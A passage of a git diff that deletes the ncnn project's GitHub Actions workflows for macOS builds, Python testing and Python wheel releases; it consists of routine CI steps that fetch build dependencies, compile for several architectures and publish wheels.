https://github.com/KhronosGroup/MoltenVK/releases/download/${{ env.MOLTENVK_VERSION }}/MoltenVK-all.tar - tar -xf MoltenVK-all.tar - - - name: x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST -DARCHS="x86_64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/ios-arm64_x86_64-maccatalyst/libMoltenVK.a .. - cmake --build . -j 4 - - name: arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST_ARM64 -DARCHS="arm64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/ios-arm64_x86_64-maccatalyst/libMoltenVK.a .. - cmake --build . -j 4 diff --git a/.github/workflows/macos.yml b/.github/workflows/macos.yml deleted file mode 100644 index 160fe0fafaf3..000000000000 --- a/.github/workflows/macos.yml +++ /dev/null @@ -1,198 +0,0 @@ -name: macos -on: - push: - branches: [master] - paths: - - '.github/workflows/macos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/macos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: macos-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - MAC_DEPLOYMENT_TARGET: '11.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF -permissions: - contents: read - -jobs: - build: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - MOLTENVK_VERSION: 'v1.2.8' - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-macos-install-20240403 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: openmp-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_ARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - - name: install-openmp - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/include/* $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/lib/libomp.a $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/lib - - - name: cache-swiftshader - id: cache-swiftshader - uses: actions/cache@v4 - with: - path: swiftshader-install - key: swiftshader-macos-install-20240622 - - name: checkout-swiftshader - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: google/swiftshader - path: swiftshader - ref: de870ac7518fe2b6bb651ecc22fc36647cf7b986 - - name: checkout-swiftshader-submodules - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - git -c submodule."third_party/git-hooks".update=none submodule update --init --recursive - - name: swiftshader - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - mkdir -p build; cd build - cmake -DCMAKE_INSTALL_PREFIX=install -DSWIFTSHADER_BUILD_EGL=FALSE -DSWIFTSHADER_BUILD_GLESv2=FALSE -DSWIFTSHADER_BUILD_GLES_CM=FALSE -DSWIFTSHADER_BUILD_VULKAN=TRUE -DSWIFTSHADER_BUILD_PVR=FALSE -DSWIFTSHADER_BUILD_TESTS=FALSE -DSWIFTSHADER_ENABLE_ASTC=FALSE -DSWIFTSHADER_WARNINGS_AS_ERRORS=FALSE -DREACTOR_BACKEND=Subzero -DREACTOR_DEFAULT_OPT_LEVEL=Default -DCMAKE_BUILD_TYPE=Release .. - cmake --build . -j 3 - mkdir $GITHUB_WORKSPACE/swiftshader-install - cp Darwin/* $GITHUB_WORKSPACE/swiftshader-install - - - name: moltenvk - run: | - wget -q https://github.com/KhronosGroup/MoltenVK/releases/download/${{ env.MOLTENVK_VERSION }}/MoltenVK-all.tar - tar -xf MoltenVK-all.tar - - - name: arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_ARM64 -DARCHS="arm64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/macos-arm64_x86_64/libMoltenVK.a .. - cmake --build . -j 4 - - name: x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC -DARCHS="x86_64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/swiftshader-install/libvulkan.dylib \ - -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 4 - - - name: arm64-shared - run: | - mkdir build-arm64-shared && cd build-arm64-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC_ARM64 -DARCHS="arm64" -DNCNN_SHARED_LIB=ON \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/dynamic/MoltenVK.xcframework/macos-arm64_x86_64/MoltenVK.framework/MoltenVK .. - cmake --build . -j 4 - - name: x86_64-shared - run: | - mkdir build-x86_64-shared && cd build-x86_64-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=MAC -DARCHS="x86_64" -DNCNN_SHARED_LIB=ON \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/dynamic/MoltenVK.xcframework/macos-arm64_x86_64/MoltenVK.framework/MoltenVK .. - cmake --build . -j 4 - - - name: x86_64-test - run: | - printf "[Processor]\nThreadCount=1\n" > build-x86_64/tests/SwiftShader.ini - cd build-x86_64 && ctest --output-on-failure -j 4 diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml deleted file mode 100644 index ff73510d2034..000000000000 --- a/.github/workflows/python.yml +++ /dev/null @@ -1,124 +0,0 @@ -name: python -on: - push: - branches: [master] - paths: - - '.github/workflows/python.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'python/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/python.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'python/**' -concurrency: - group: python-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - MAC_DEPLOYMENT_TARGET: '11.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF - CMAKE_BUILD_PARALLEL_LEVEL: 4 - UseMultiToolTask: true -permissions: - contents: read - -jobs: - build: - strategy: - matrix: - os: [ubuntu-latest, macos-13, windows-latest] - python-version: [3.9, 3.12] - - runs-on: ${{ matrix.os }} - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: cache-swiftshader - if: matrix.os == 'ubuntu-latest' - id: cache-swiftshader - uses: actions/cache@v4 - with: - path: swiftshader-install - key: swiftshader-linux-install-20240622 - - name: checkout-swiftshader - if: matrix.os == 'ubuntu-latest' && steps.cache-swiftshader.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: google/swiftshader - path: swiftshader - ref: de870ac7518fe2b6bb651ecc22fc36647cf7b986 - - name: checkout-swiftshader-submodules - if: matrix.os == 'ubuntu-latest' && steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - git -c submodule."third_party/git-hooks".update=none submodule update --init --recursive - - name: swiftshader - if: matrix.os == 'ubuntu-latest' && steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - mkdir -p build; cd build - cmake -DCMAKE_INSTALL_PREFIX=install -DSWIFTSHADER_BUILD_EGL=FALSE -DSWIFTSHADER_BUILD_GLESv2=FALSE -DSWIFTSHADER_BUILD_GLES_CM=FALSE -DSWIFTSHADER_BUILD_VULKAN=TRUE -DSWIFTSHADER_BUILD_PVR=FALSE -DSWIFTSHADER_BUILD_TESTS=FALSE -DSWIFTSHADER_ENABLE_ASTC=FALSE -DSWIFTSHADER_WARNINGS_AS_ERRORS=FALSE -DREACTOR_BACKEND=Subzero -DREACTOR_DEFAULT_OPT_LEVEL=Default -DCMAKE_BUILD_TYPE=Release .. - cmake --build . -j $(nproc) - mkdir $GITHUB_WORKSPACE/swiftshader-install - cp Linux/* $GITHUB_WORKSPACE/swiftshader-install - - - name: setup-python - uses: actions/setup-python@v5 - with: - python-version: ${{ matrix.python-version }} - - name: install-deps - run: | - python -m pip install --upgrade pip - pip install pytest setuptools wheel twine importlib-metadata - - - name: build - if: matrix.os == 'ubuntu-latest' - env: - CC: clang - CXX: clang++ - run: | - mkdir build && cd build - cmake -DNCNN_VULKAN=ON -DNCNN_PYTHON=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: build - if: matrix.os == 'macos-13' - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake -DPLATFORM=MAC -DARCHS="x86_64" \ - -DDEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET -DENABLE_BITCODE=$ENABLE_BITCODE -DENABLE_ARC=$ENABLE_ARC -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DNCNN_VULKAN=OFF -DNCNN_PYTHON=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j 4 - - name: build - if: matrix.os == 'windows-latest' - run: | - mkdir build; cd build - cmake -T v142,host=x64 -A x64 -DNCNN_VULKAN=OFF -DNCNN_PYTHON=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . --config Release -j 4 - - name: build-python - run: cd python && pip install . - - name: test - if: matrix.os == 'ubuntu-latest' - run: | - export VK_ICD_FILENAMES="$GITHUB_WORKSPACE/swiftshader-install/vk_swiftshader_icd.json" - cd python && pytest tests - - name: test - if: matrix.os != 'ubuntu-latest' - run: | - cd python && pytest tests diff --git a/.github/workflows/release-python.yml b/.github/workflows/release-python.yml deleted file mode 100644 index 6b6db4f0d2e9..000000000000 --- a/.github/workflows/release-python.yml +++ /dev/null @@ -1,358 +0,0 @@ -name: release-python -# on: [push, pull_request] -on: - push: - tags: - - '*' - -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - MAC_DEPLOYMENT_TARGET: '11.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF - -jobs: - build_sdist: - name: Build SDist - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - uses: actions/setup-python@v5 - with: - python-version: '3.x' - - - name: Install deps - run: python -m pip install twine build - - - name: Build SDist - run: python -m build -s - - - name: Check metadata - run: twine check dist/* - - - uses: actions/upload-artifact@v4 - with: - name: sdist - path: dist/*.tar.gz - - build_wheels: - name: ${{ matrix.arch }} ${{ matrix.build_id }} on ${{ matrix.os }} - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - include: - - { os: ubuntu-20.04, arch: x86_64, build: 'cp*-manylinux*', build_id: cp-manylinux } - - { os: ubuntu-20.04, arch: x86_64, build: 'cp*-musllinux*', build_id: cp-musllinux } - - { os: ubuntu-20.04, arch: x86_64, build: 'pp*', build_id: pp } - - { os: ubuntu-20.04, arch: i686, build: 'cp*-manylinux*', build_id: cp-manylinux } - - { os: ubuntu-20.04, arch: i686, build: 'cp*-musllinux*', build_id: cp-musllinux } - - { os: ubuntu-20.04, arch: i686, build: 'pp*', build_id: pp } - - { os: windows-2019, arch: x86, build: 'cp*', build_id: cp } - - { os: windows-2019, arch: AMD64, build: 'cp*', build_id: cp } - - { os: windows-2019, arch: AMD64, build: 'pp*', build_id: pp } - - { os: windows-2019, arch: ARM64, build: 'cp*', build_id: cp } - - { os: macos-13, arch: x86_64, build: 'cp*', build_id: cp } - - { os: macos-13, arch: x86_64, build: 'pp*', build_id: pp } - - { os: macos-13, arch: arm64, build: 'cp*', build_id: cp } - - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - uses: actions/setup-python@v5 - with: - python-version: '3.x' - - # build wheels for ubuntu-20.04 - - name: Build wheels for ubuntu - if: matrix.os == 'ubuntu-20.04' - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_LINUX: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build }} - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT: CMAKE_BUILD_PARALLEL_LEVEL=4 - with: - output-dir: wheelhouse - - # build wheels for windows-2019 - - name: Build wheels for windows - if: matrix.os == 'windows-2019' && (matrix.arch == 'AMD64' || matrix.arch == 'x86') - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_WINDOWS: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build }} - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT_WINDOWS: CMAKE_BUILD_PARALLEL_LEVEL=4 - CIBW_BEFORE_BUILD: pip install delvewheel - CIBW_REPAIR_WHEEL_COMMAND: delvewheel repair -w {dest_dir} {wheel} - with: - output-dir: wheelhouse - - - name: Build wheels for windows ARM64 - if: matrix.os == 'windows-2019' && matrix.arch == 'ARM64' - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_WINDOWS: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build }} - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT_WINDOWS: CMAKE_BUILD_PARALLEL_LEVEL=4 - CIBW_BEFORE_BUILD: pip install delvewheel - CIBW_REPAIR_WHEEL_COMMAND: delvewheel repair -w {dest_dir} {wheel} --no-dll "msvcp140.dll;vcomp140.dll" - with: - output-dir: wheelhouse - - # build wheels for macos-13 - - name: cache-openmp for macos - if: matrix.os == 'macos-13' - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-macos-install-20240403 - - - name: openmp for macos - if: matrix.os == 'macos-13' && steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - - name: openmp-build-x86_64 for macos - if: matrix.os == 'macos-13' && steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - - name: openmp-build-arm64 for macos - if: matrix.os == 'macos-13' && steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_ARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - - name: openmp-merge-fat-library for macos - if: matrix.os == 'macos-13' && steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/lib/libomp.a - - - name: install-openmp for macos - if: matrix.os == 'macos-13' - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/include/* $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/lib/libomp.a $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/lib - - - name: vulkansdk for macos - if: matrix.os == 'macos-13' - run: | - wget https://sdk.lunarg.com/sdk/download/1.3.290.0/mac/vulkansdk-macos-1.3.290.0.dmg?Human=true -O vulkansdk-macos-1.3.290.0.dmg - hdiutil attach vulkansdk-macos-1.3.290.0.dmg - sudo /Volumes/vulkansdk-macos-1.3.290.0/InstallVulkan.app/Contents/MacOS/InstallVulkan --root $GITHUB_WORKSPACE/vulkansdk-macos-1.3.290.0 --accept-licenses --default-answer --confirm-command install - - - name: Build wheels for macos x86_64 - if: matrix.os == 'macos-13' && matrix.arch == 'x86_64' - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_MACOS: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build }} - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT: CMAKE_BUILD_PARALLEL_LEVEL=3 - CMAKE_TOOLCHAIN_FILE=$GITHUB_WORKSPACE/toolchains/ios.toolchain.cmake PLATFORM=MAC ARCHS="x86_64" - DEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET ENABLE_BITCODE=OFF ENABLE_ARC=OFF ENABLE_VISIBILITY=OFF - OpenMP_C_FLAGS="-Xclang -fopenmp" OpenMP_CXX_FLAGS="-Xclang -fopenmp" - OpenMP_C_LIB_NAMES="libomp" OpenMP_CXX_LIB_NAMES="libomp" - OpenMP_libomp_LIBRARY="libomp.a" - Vulkan_LIBRARY=$GITHUB_WORKSPACE/vulkansdk-macos-1.3.290.0/macOS/lib/libMoltenVK.dylib - MACOSX_DEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET - with: - output-dir: wheelhouse - - - name: Build wheels for macos arm64 - if: matrix.os == 'macos-13' && matrix.arch == 'arm64' - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_MACOS: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build }} - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT: CMAKE_BUILD_PARALLEL_LEVEL=3 - CMAKE_TOOLCHAIN_FILE=$GITHUB_WORKSPACE/toolchains/ios.toolchain.cmake PLATFORM=MAC_ARM64 ARCHS="arm64" - DEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET ENABLE_BITCODE=OFF ENABLE_ARC=OFF ENABLE_VISIBILITY=OFF - OpenMP_C_FLAGS="-Xclang -fopenmp" OpenMP_CXX_FLAGS="-Xclang -fopenmp" - OpenMP_C_LIB_NAMES="libomp" OpenMP_CXX_LIB_NAMES="libomp" - OpenMP_libomp_LIBRARY="libomp.a" - Vulkan_LIBRARY=$GITHUB_WORKSPACE/vulkansdk-macos-1.3.290.0/macOS/lib/libMoltenVK.dylib - MACOSX_DEPLOYMENT_TARGET=$MAC_DEPLOYMENT_TARGET - with: - output-dir: wheelhouse - - - name: Show files - run: ls -lh wheelhouse - shell: bash - - - name: Verify clean directory - run: git diff --exit-code - shell: bash - - - name: Upload wheels - uses: actions/upload-artifact@v4 - with: - name: wheels-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.build_id }} - path: wheelhouse/*.whl - - build_wheels_qemu_cp: - name: ${{ matrix.arch }} ${{ matrix.build_cp }} ${{ matrix.build_sub }} - runs-on: ubuntu-20.04 - - strategy: - fail-fast: false - matrix: - arch: [aarch64, ppc64le, s390x] - build_cp: [cp36, cp37, cp38, cp39, cp310, cp311, cp312, cp313] - build_sub: [manylinux, musllinux] - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - uses: actions/setup-python@v5 - with: - python-version: '3.x' - - - name: Set up QEMU - uses: docker/setup-qemu-action@v3 - with: - platforms: all - - - name: Build wheels for manylinux with qemu - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_LINUX: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build_cp }}-${{ matrix.build_sub }}* - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT: CMAKE_BUILD_PARALLEL_LEVEL=4 - with: - output-dir: wheelhouse - - - name: Show files - run: ls -lh wheelhouse - shell: bash - - - name: Verify clean directory - run: git diff --exit-code - shell: bash - - - name: Upload wheels - uses: actions/upload-artifact@v4 - with: - name: wheels_qemu_cp-${{ matrix.arch }}-${{ matrix.build_cp }}-${{ matrix.build_sub }} - path: wheelhouse/*.whl - - build_wheels_qemu_pp: - name: ${{ matrix.arch }} ${{ matrix.build_pp }} - runs-on: ubuntu-20.04 - - strategy: - fail-fast: false - matrix: - arch: [aarch64] - build_pp: [pp37, pp38, pp39, pp310] - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - uses: actions/setup-python@v5 - with: - python-version: '3.x' - - - name: Set up QEMU - uses: docker/setup-qemu-action@v3 - with: - platforms: all - - - name: Build wheels for manylinux with qemu - uses: pypa/cibuildwheel@v2.20.0 - env: - CIBW_ARCHS_LINUX: ${{ matrix.arch }} - CIBW_BUILD: ${{ matrix.build_pp }}-* - CIBW_BUILD_VERBOSITY: 1 - CIBW_ENVIRONMENT: CMAKE_BUILD_PARALLEL_LEVEL=4 - with: - output-dir: wheelhouse - - - name: Show files - run: ls -lh wheelhouse - shell: bash - - - name: Verify clean directory - run: git diff --exit-code - shell: bash - - - name: Upload wheels - uses: actions/upload-artifact@v4 - with: - name: wheels_qemu_pp-${{ matrix.arch }}-${{ matrix.build_pp }} - path: wheelhouse/*.whl - - upload_all: - permissions: - contents: none - name: Upload - needs: [build_wheels, build_wheels_qemu_cp, build_wheels_qemu_pp, build_sdist] - runs-on: ubuntu-latest - - steps: - - uses: actions/setup-python@v5 - with: - python-version: '3.x' - - - uses: actions/download-artifact@v4 - with: - path: dist - merge-multiple: true - - - uses: pypa/gh-action-pypi-publish@release/v1 - with: - user: __token__ - password: ${{ secrets.PYPI_API_TOKEN }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml deleted file mode 100644 index 2e875fc51e73..000000000000 --- a/.github/workflows/release.yml +++ /dev/null @@ -1,2302 +0,0 @@ -name: release -on: - push: - tags: - - '*' - -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - IOS_DEPLOYMENT_TARGET: '13.0' - MAC_DEPLOYMENT_TARGET: '11.0' - MAC_CATALYST_DEPLOYMENT_TARGET: '13.1' - WATCHOS_DEPLOYMENT_TARGET: '6.0' - TVOS_DEPLOYMENT_TARGET: '11.0' - VISIONOS_DEPLOYMENT_TARGET: '1.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF - EMSCRIPTEN_VERSION: 3.1.28 - -permissions: - contents: read - -jobs: - - setup: - permissions: - contents: none - runs-on: ubuntu-latest - outputs: - VERSION: ${{ steps.get_version.outputs.VERSION }} - steps: - - name: get-version - id: get_version - run: echo "VERSION=${GITHUB_REF/refs\/tags\//}" >> $GITHUB_OUTPUT - - full-source: - needs: [setup] - runs-on: ubuntu-latest - env: - PACKAGENAME: ncnn-${{ needs.setup.outputs.VERSION }}-full-source - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: package - run: | - rm -rf .git - rm -f /tmp/${{ env.PACKAGENAME }}.zip - zip -9 -y -r /tmp/${{ env.PACKAGENAME }}.zip . - - name: upload-zip - uses: actions/upload-artifact@v4 - with: - name: ${{ env.PACKAGENAME }} - path: /tmp/${{ env.PACKAGENAME }}.zip - - ubuntu: - needs: [setup] - strategy: - matrix: - opt: - - { shared-lib: OFF, os: ubuntu-20.04, id: ubuntu-2004 } - - { shared-lib: OFF, os: ubuntu-22.04, id: ubuntu-2204 } - - { shared-lib: OFF, os: ubuntu-24.04, id: ubuntu-2404 } - - { shared-lib: ON, os: ubuntu-20.04, id: ubuntu-2004-shared } - - { shared-lib: ON, os: ubuntu-22.04, id: 